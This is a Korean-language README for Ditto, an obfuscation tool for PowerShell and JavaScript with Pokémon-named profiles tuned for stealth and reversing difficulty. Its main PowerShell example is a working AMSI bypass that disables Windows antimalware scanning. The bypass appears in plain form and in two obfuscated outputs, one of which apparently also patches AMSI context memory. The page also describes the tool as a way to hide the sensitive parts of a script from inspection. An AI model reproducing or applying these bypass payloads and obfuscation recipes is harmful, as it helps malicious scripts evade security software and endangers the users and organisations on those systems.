
PowerShell 및 JavaScript 스크립트를 tree-sitter 기반 파싱으로 난독화하며, 은닉성, 크기, 리버싱 난이도를 위한 여러 구성 가능한 임포스터 프로필을 제공합니다.
Ditto는 tree-sitter-powershell 과 tree-sitter-javascript을 기반으로 하는 PowerShell 및 JavaScript 난독화 도구입니다.
ditto-cli [옵션]
| 짧은 옵션 | 긴 옵션 | 설명 |
|---|---|---|
| -h | --help | 도움말 정보를 표시하고 종료합니다. |
| -v | --version | 버전 정보를 표시하고 종료합니다. |
| -p | --path | 처리할 스크립트 파일의 경로입니다. |
| -i | --impostor | 난독화에 사용할 임포스터 프로필입니다 (대소문자 구분 없음). |
| -L | --list | 사용 가능한 모든 임포스터 프로필을 나열합니다. |
| -t | --time | 난독화 과정에 걸린 계산 시간을 표시합니다. |
| -d | --debug-level | 디버그 수준입니다. 옵션: off, error, warn, info, debug, trace (기본값: info). |
| -q | --quiet | 최종 난독화된 스크립트만 출력하고 다른 모든 로그를 억제합니다. |
각 언어에는 독특한 포켓몬 테마의 임포스터가 함께 제공됩니다. 임포스터는 여러 난독화 패스를 연결하는 명명된 레시피입니다. 각각은 서로 다른 기법 조합을 선호하므로, 동일한 스크립트를 두 임포스터로 난독화한 결과는 전혀 다르게 보입니다. 자신의 필요(은밀성, 크기, 가독성, 리버싱 난이도)에 맞는 절충안을 가진 임포스터를 선택하세요.
셸에서 직접 사용 가능한 모든 임포스터를 나열하세요:
ditto-cli --list
자신만의 임포스터를 추가하는 것을 망설이지 마세요! 그런 다음 원하는 것을 호출할 수 있습니다.
원본 PowerShell 스크립트:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
난독화 명령:
ditto-cli --path test.ps1 --impostor ivysaur
난독화된 출력:
${Set-mK6} = 1; ${Add-xjQ} = 12; ${Remove-ScJ} = 8; ${Find-V7v} = 7; ${Get-wCX} = 4; ${Set-JEp} = 9; ${Add-3eV} = 16; ${Remove-pIQ} = 52; ${Find-OHR} = 24; ${Get-r4u} = 9076; ${Set-t49} = 89; ${Add-Qvs} = 87; ${Remove-qwO} = 49; ${Find-SMs} = 122; ${Get-wUj} = 97; ${Set-Ox3} = 86; ${Add-VQ5} = 78; ${Remove-EeM} = 108; ${Find-gzG} = 99; ${Get-LGX} = 51; ${Set-X5g} = 112; ${Add-GD5} = 98; ${Remove-aho} = 50; ${Find-3Zs} = 61; ${Get-ihU} = 85; ${Set-nKM} = 100; ${Add-GWd} = 71; ${Remove-Tvm} = 116; ${Find-7ba} = 76; ${Get-oeb} = 107; ${Set-Vxt} = 104; ${Add-rmz} = 109; ${Remove-Fsk} = 70; ${Find-jz5} = 110; ${Get-2TD} = 90; ${Set-TIQ} = 81; ${Add-Ru7} = 117; ${Remove-4HR} = 88; ${Find-T8S} = 48; ${Get-n8s} = 118; ${Set-mmg} = 105; ${Add-PZ1} = 53; ${Remove-xzI} = 66; ${Find-LRq} = 82; ${Get-MFU} = 72; ${Set-W0e} = 77; ${Add-bvf} = 84; ${Remove-3nx} = 57; ${Find-e43} = 106; ${Get-88G} = 119; $f8XP9 = [System.Runtime.InteropServices.Marshal]; $ifXoW = [Ref]; $lgnLf = [System.Text.Encoding]; $Knr3E = [System.Convert]; ${Set-cfudY9iG} = -join 'labolGHcollA'[-${Set-mK6}..-${Add-xjQ}]; ${Add-q3RPK0Xu} = -join 'ylbmessA'[-${Set-mK6}..-${Remove-ScJ}]; ${Remove-50AhxHbh} = -join 'epyTteG'[-${Set-mK6}..-${Find-V7v}]; ${Find-VOSaUhQS} = -join '8FTU'[-${Set-mK6}..-${Get-wCX}]; ${Get-w0xewYE7} = -join 'gnirtSteG'[-${Set-mK6}..-${Set-JEp}]; ${Set-2rZQYi7O} = -join 'gnirtS46esaBmorF'[-${Set-mK6}..-${Add-3eV}]; ${Add-nottCZwE} = -join '=MHbpRXVpNXbB5ibvlGdh12b0VXQuQnbl1WZnFmbh1kLtVGdzl3U'[-${Set-mK6}..-${Remove-pIQ}]; ${Remove-b45sz9Zn} = -join 'dleiFteG'[-${Set-mK6}..-${Remove-ScJ}]; ${Find-mUeEbv73} = -join '==wYpRXY0NFLjlGbiVHUu9mT'[-${Set-mK6}..-${Find-OHR}]; ${Get-hbkDceRb} = -join 'eulaVteS'[-${Set-mK6}..-${Remove-ScJ}]; ${Set-1zjqeqJt} = -join '=QHelRnbvNUaz1WY'[-${Set-mK6}..-${Add-3eV}]; $mem = $f8XP9::${Set-cfudY9iG}(${Get-r4u});$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Add-nottCZwE})))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Set-t49} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Find-SMs} + [char]${Get-wUj} + [char]${Set-Ox3} + [char]${Add-VQ5} + [char]${Remove-EeM} + [char]${Find-gzG} + [char]${Get-LGX} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-pIQ} + [char]${Find-3Zs})))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Find-mUeEbv73})))).${Get-hbkDceRb}($null, $null);$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Get-ihU} + [char]${Get-LGX} + [char]${Remove-EeM} + [char]${Find-SMs} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Set-Ox3} + [char]${Remove-Tvm} + [char]${Find-7ba} + [char]${Get-oeb} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Add-GD5} + [char]${Add-rmz} + [char]${Remove-Fsk} + [char]${Find-jz5} + [char]${Get-2TD} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Remove-EeM} + [char]${Add-GD5} + [char]${Find-jz5} + [char]${Set-TIQ} + [char]${Add-Ru7} + [char]${Set-TIQ} + [char]${Remove-4HR} + [char]${Set-Ox3} + [char]${Find-T8S} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Get-n8s} + [char]${Add-GD5} + [char]${Set-mmg} + [char]${Add-PZ1} + [char]${Remove-xzI} + [char]${Add-GD5} + [char]${Remove-4HR} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Set-Ox3} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Get-MFU} + [char]${Set-W0e} + [char]${Find-3Zs}))))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Set-1zjqeqJt}))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Add-bvf} + [char]${Add-rmz} + [char]${Remove-3nx} + [char]${Add-Ru7} + [char]${Get-ihU} + [char]${Get-MFU} + [char]${Set-Ox3} + [char]${Set-mmg} + [char]${Add-GD5} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Find-e43} + [char]${Find-7ba} + [char]${Remove-Fsk} + [char]${Add-VQ5} + [char]${Find-T8S} + [char]${Set-t49} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Set-t49} + [char]${Get-88G} + [char]${Find-3Zs} + [char]${Find-3Zs}))))).${Get-hbkDceRb}($null, [IntPtr]$mem)
원본 JS 스크립트:
function greet(user) {
console.log("Hello, " + user + "!");
}
greet("World");
난독화 명령:
ditto-cli --path test.js --impostor Tinkatuff
난독화된 출력:
function \u0067\u0072\u0065e\u0074(\u0075\u0073\u0065\u0072) {
\u0063\u006F\u006E\u0073\u006Fle[\u0061\u0074\u006F\u0062((\u0053\u0074r\u0069\u006E\u0067('\x62\u0047') + '\x39\x52\u{00000039}h\u0041\u0062\u{000037}\u003739\x6E\u{0000033}\u0036n'.\u0072\u0065\u0070\u006C\u0061c\u0065\u0041l\u006C(/R9hAb\d{3}9n36/g, '')))](de\u0063\u006F\u0064\u0065\u0055\u0052I\u0043o\u006Dp\u006F\u006E\u0065n\u0074((\u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%48` + '\u{00000025}\x0D\n'.\u0074\u0072im\u0045\u006E\u0064() + ['6\u{000035}', '\x25'].\u006Aoi\u006E('') + '\x36'.\u0074\u006F\u0053\u0074\u0072i\u006E\u0067() + '\u{0000043}%\u0036' + ''.\u006C\u0069n\u006B('C\u0025\x36').\u0073\u006C\u0069\u0063e(9, -6) + new \u0053\u0074\u0072\u0069\u006E\u0067('\u0046\u0025').\u0076\u0061\u006C\u0075\u0065O\u0066() + '\r\u{000000A}\u0032C\x25\u{00000D}\t'.\u0074\u0072\u0069\u006D() + '20'.\u0074r\u0069\u006D\u0045\u006E\u0064())) + \u0075\u0073\u0065\u0072 + \u0064\u0065c\u006F\u0064\u0065\u0055\u0052I((\u0053\u0074r\u0069n\u0067.r\u0061\u0077`%` + '\n\u0020\u{00000020}\x321'.\u0074\u0072\u0069\u006D\u0053tar\u0074())));
}
\u0067\u0072eet(\u0064\u0065c\u006F\u0064\u0065\u0055RI\u0043\u006Fm\u0070\u006Fn\u0065\u006E\u0074(('\u{0000025}\u{0000035}' + '\u{00000037}\u{00025}\n\x0A\u0009\u000A'.t\u0072\u0069\u006D\u0045n\u0064() + '6\u0046%' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0066\u0072\u006F\u006DCh\u0061\u0072\u0043\u006Fd\u0065(55) + '\u{000032}'.\u0062\u0069\u0067().sl\u0069\u0063\u0065(5, -6) + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061w`%6` + '\u{000043}' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%6` + '4')));
Ditto 임포스터는 전체 파일을 난독화하지 않습니다. # ditto(<engine>) 형식의 지시문 주석을 찾아 명명된 엔진을 주석 바로 다음의 단일 문장에 적용합니다. 다른 모든 것은 그대로 유지되며, 지시문 주석 자체는 출력에서 제거됩니다. 이는 스크립트의 민감한 부분만 숨기거나 한 파일에서 여러 엔진을 혼합하려는 경우에 유용합니다.
원본 PowerShell 스크립트:
Write-Host "starting"
# ditto(pikachu)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
Write-Host "done"
난독화 명령:
ditto-cli --path test.ps1 --impostor ditto
난독화된 출력:
Write-Host "starting"
$WRL6c=109;$DDjV=56;$pjWqV8=86;$r8cnDa=108;$wAD=101;$xtYSTM=50;$IHnFn=51;$787F0=122;$qWcmH0=65;$LgjuIE=77;$ial=52;$kVfXz=103;$gI9H6=104;$E3qM=97;$4Tr4=105;$empCP=117;$KA4XB=89;$TeXxjO=53;$t7IyYw=54;$ogg=114;$pDD=57;$dQXaf=81;$iTBnE=61;$IBf=48;$GUy=71;$cbVM=110;$biGF=85;$Z7Pn=106;$vcF=87;$oqzy3=72;$37C=118;$suPWLN=112;$1Ywq0M=83;$KI9h=119;$B3fd=70;$IScvzV=90;$oveAB=88;$p6TMv=84;$zj7E=98;$wUzL=111;$ToF=107;$Sd0Ozk=100;$AtZ=49;$qeyQOw=121;$NAX=115;$QsySk=82;$Zqk=66;$QYl36=78;$LHhAV=76;$DJp=116;$Rz89sj=([char]$KA4XB+[char]$vcF+[char]$AtZ+[char]$787F0+[char]$E3qM+[char]$biGF+[char]$r8cnDa+[char]$empCP+[char]$E3qM+[char]$oveAB+[char]$QsySk+[char]$GUy+[char]$KA4XB+[char]$vcF+[char]$r8cnDa+[char]$NAX+[char]$IScvzV+[char]$vcF+[char]$dQXaf+[char]$iTBnE);$TNP=([char]$qWcmH0+[char]$NAX+[char]$NAX+[char]$wAD+[char]$WRL6c+[char]$zj7E+[char]$r8cnDa+[char]$qeyQOw);$rF2B=([char]$biGF+[char]$p6TMv+[char]$B3fd+[char]$DDjV);$0xJaev=([char]$GUy+[char]$wAD+[char]$DJp+[char]$p6TMv+[char]$qeyQOw+[char]$suPWLN+[char]$wAD);$vpg=([char]$B3fd+[char]$ogg+[char]$wUzL+[char]$WRL6c+[char]$Zqk+[char]$E3qM+[char]$NAX+[char]$wAD+[char]$t7IyYw+[char]$ial+[char]$1Ywq0M+[char]$DJp+[char]$ogg+[char]$4Tr4+[char]$cbVM+[char]$kVfXz);$ISW=([char]$p6TMv+[char]$WRL6c+[char]$pDD+[char]$empCP+[char]$biGF+[char]$oqzy3+[char]$pjWqV8+[char]$4Tr4+[char]$zj7E+[char]$GUy+[char]$r8cnDa+[char]$Z7Pn+[char]$LHhAV+[char]$B3fd+[char]$QYl36+[char]$IBf+[char]$KA4XB+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$KA4XB+[char]$KI9h+[char]$iTBnE+[char]$iTBnE);$wiiSIm=([char]$biGF+[char]$IHnFn+[char]$r8cnDa+[char]$787F0+[char]$Sd0Ozk+[char]$GUy+[char]$pjWqV8+[char]$DJp+[char]$LHhAV+[char]$ToF+[char]$AtZ+[char]$gI9H6+[char]$zj7E+[char]$WRL6c+[char]$B3fd+[char]$cbVM+[char]$IScvzV+[char]$vcF+[char]$AtZ+[char]$r8cnDa+[char]$zj7E+[char]$cbVM+[char]$dQXaf+[char]$empCP+[char]$dQXaf+[char]$oveAB+[char]$pjWqV8+[char]$IBf+[char]$zj7E+[char]$xtYSTM+[char]$AtZ+[char]$gI9H6+[char]$Sd0Ozk+[char]$GUy+[char]$r8cnDa+[char]$37C+[char]$zj7E+[char]$4Tr4+[char]$TeXxjO+[char]$Zqk+[char]$zj7E+[char]$oveAB+[char]$QYl36+[char]$suPWLN+[char]$pjWqV8+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$zj7E+[char]$oqzy3+[char]$LgjuIE+[char]$iTBnE);$en3=([char]$GUy+[char]$wAD+[char]$DJp+[char]$B3fd+[char]$4Tr4+[char]$wAD+[char]$r8cnDa+[char]$Sd0Ozk);$rlIe=([char]$1Ywq0M+[char]$wAD+[char]$DJp+[char]$pjWqV8+[char]$E3qM+[char]$r8cnDa+[char]$empCP+[char]$wAD);$lmq=([char]$GUy+[char]$wAD+[char]$DJp+[char]$1Ywq0M+[char]$DJp+[char]$ogg+[char]$4Tr4+[char]$cbVM+[char]$kVfXz);${NBX}=[Ref];${Q6V}=[System.Text.Encoding];${93J9}=[System.Convert];${NBX}.$TNP.$0xJaev((${Q6V}::$rF2B.$lmq(${93J9}::$vpg($wiiSIm)))).$en3((${Q6V}::$rF2B.$lmq(${93J9}::$vpg($Rz89sj))), (${Q6V}::$rF2B.$lmq(${93J9}::$vpg($ISW)))).$rlIe($null, $true)
Write-Host "done"
# ditto(ivysaur) 다음의 줄만 (Ivysaur 엔진으로) 난독화되며, 두 개의 Write-Host 호출은 그대로 유지됩니다.
cargo build --release --bin ditto-cli
빌드 후, ./target/release/에서 바이너리를 찾을 수 있습니다.
cargo run --release --bin ditto-cli -- {args goes here}
| 임포스터 | 기능 |
|---|
| Pikachu | 올라운더 마스코트. 리터럴을 정적 문자열로 변환하고, cmdlet 및 형식 멤버를 문자열로 재작성하며, 문자열을 Base64로 인코딩하고, 인라인 모듈로/hexlify로 정수를 분할하며, 변수 이름을 무작위로 변경합니다. 균형 잡힌 기본값입니다. |
| Bulbasaur | 입문용 스타터. 문자열/cmdlet/멤버 재작성, Base64 인코딩, 무작위 변수 이름, 그리고 역방향 모듈로 트릭을 통한 정수 재구성. 가볍고 비교적 읽을 수 있습니다. |
| Ivysaur | Bulbasaur의 진화형. 동일한 기본 레시피이지만 변수 이름이 PowerShell 동사(${Set-...}, ${Add-...}, ${Remove-...})로 지정되어 정상적인 코드와 섞이며, 인라인 hexlify 및 모듈로 역방향 정수가 추가됩니다. |
| Charizard | 강력한 타입. 정적 문자열, Base64, 무작위 인라인 모듈로/hexlify, 멤버-문자열, 모듈로 역방향 정수, 그리고 무작위 변수 이름과 형식을 결합한 공격적인 난독화입니다. |
| Alakazam | 수학 두뇌. 모든 부울과 정수를 산술 표현식으로 사전 계산하고, 호출 표현식을 분해하며, cmdlet, 멤버 및 형식을 문자열로 변환합니다. 밀도 높고 표현식 중심의 출력을 생성합니다. |
| Onix | 배열 전문가. 토큰을 상수 배열에 저장하고, 섞은 다음, foreach를 통해 hexlify하고, 런타임에 평가되는 XOR/add 산술을 통해 모든 정수를 재구성합니다. |
| Eevee | 이름 변경 전문가. 모든 함수, 매개변수 및 변수를 무작위로 이름을 바꾸고, cmdlet/멤버를 문자열로 재작성하며, 와일드카드 마스킹과 함께 UUID 스타일 및 동사 스타일 이름을 할당합니다. 식별자 난독화에 중점을 둡니다. |
| Ditto | 모방자 — 메타 임포스터. 전체 파일을 변환하는 대신, 소스에서 # ditto(<engine>) 주석을 스캔하여 명명된 엔진을 주석 바로 다음에 오는 문장에만 적용합니다. 이를 통해 단일 스크립트 내에서 임포스터를 혼합할 수 있습니다. Ditto를 사용한 선택적 난독화를 참조하세요. |
| 임포스터 | 기능 |
|---|
| Tinkatuff | 균형 잡힌 기본값. 멤버 접근을 첨자로 재작성하고, 때때로 표현식을 switch/if-else로 변환하며, 숫자를 수학 표현식으로 바꾸고, 문자열과 식별자를 인코딩/분할/이스케이프합니다. 적용 범위와 크기의 좋은 균형을 제공합니다. |
| Unown | 기호 암호. JSFuck 스타일 트릭으로 숫자, 문자열, 부울, 특수 값 및 기본 객체를 인코딩하고 $와 _만 사용하여 식별자 이름을 변경합니다. 출력은 거의 읽을 수 없습니다. |
| Metagross | "잠깐, 전부 숫자야?" 문자열을 fromCharCode로 변환하고, 모든 숫자를 표현식으로 재작성하며, 모든 식별자를 숫자 같은 이름으로 변경합니다. 출력은 거의 전부 숫자입니다. |
| Wailord | 고래. 거대한 출력을 생성합니다 (평균 확장 비율 ~4643배). 작은 스크립트에만 사용하세요 — 버블 이름 식별자, 문자열 분할, JSFuck 숫자 및 배열 변환을 쌓아 올립니다. |
| Clefable | 도박사. 모든 사용 가능한 패스 중에서 무작위로 선택하여 비교적 "작은" 출력을 생성하면서도 모든 종류의 보호 기능을 포함합니다. 리버서는 모든 가능한 패스를 처리해야 합니다. 패스가 무작위로 선택되고 서로 간섭할 수 있으므로 여러 번 실행해야 할 수도 있습니다. |
| Cofagrigus | 무덤. 이집트 상형 문자 이름으로 식별자 이름을 변경하고, 문자열을 인코딩하며, 숫자를 표현식으로 재작성하고, 문자열/숫자 "저주" 변환을 적용합니다. 으스스하고 밀도 높으며 읽기 어렵습니다. |